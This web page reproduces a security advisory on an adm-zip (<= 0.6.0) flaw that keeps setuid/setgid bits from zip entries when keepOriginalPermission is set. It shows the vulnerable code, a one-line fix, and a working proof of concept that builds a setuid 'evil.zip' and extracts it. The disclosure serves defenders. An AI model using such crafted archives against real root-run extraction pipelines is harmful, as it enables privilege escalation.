
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 0.6.0
Patched in 0.6.1
Details
adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via fs.chmodSync() when keepOriginalPermission=true is passed to extractAllTo()/extractEntryTo() — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode 04755. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.
The mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:
// headers/entryHeader.js:187
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0xfff is 0o7777 — it preserves setuid (0o4000), setgid (0o2000) and the sticky bit (0o1000) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.
When the flag is on, that value goes straight to the write:
// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(target, content, overwrite, fileAttr);
// util/utils.js:94
self.fs.chmodSync(path, attr || 0o666);
No & 0o777, no stripping of 0o7000. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (adm-zip.js:855), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.
Tested against [email protected] (latest as of 2026-08-01), Node 22, Linux.
python3 -c "
import zipfile
zi = zipfile.ZipInfo('pysuidbin')
zi.external_attr = 0o4755 << 16
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(zi, '#!/bin/sh\nid\n')
"
const AdmZip = require('adm-zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
const fs = require('fs');
const st = fs.statSync('/tmp/out/pysuidbin');
console.log((st.mode & 0o7777).toString(8));
// => 4755 (setuid bit set — the file is root-owned if the extractor runs as root)
keepOriginalPermission=false):
mode comes out 0666, no setuid. The flag is the enabler.Alternative supply path, if the zip is built in-process with adm-zip's own API:
const zip = new AdmZip();
zip.addFile('suidbin', Buffer.from('#!/bin/sh\nid\n'), '', 0o4755);
zip.writeZip('evil.zip');
new AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);
// same result: stat mode & 0o7777 === 0o4755
Privilege escalation. The vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.
Realistic chain:
keepOriginalPermission=true. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.cp -a/rsync mode-bit propagation, into the runtime environment.Who is impacted: applications and pipelines that extract untrusted archives with keepOriginalPermission=true while running as root.
Default-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file.
Severity: Medium
Suggested fix, one line in the getter:
get fileAttr() {
return (_attr >> 16) & 0o777;
}
EPSS, exploit probability
Low0.20%
estimated chance of real-world exploitation in the next 30 days, higher than 9.9% of every CVE FIRST.org scores
Refreshed 11/14/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More npm advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.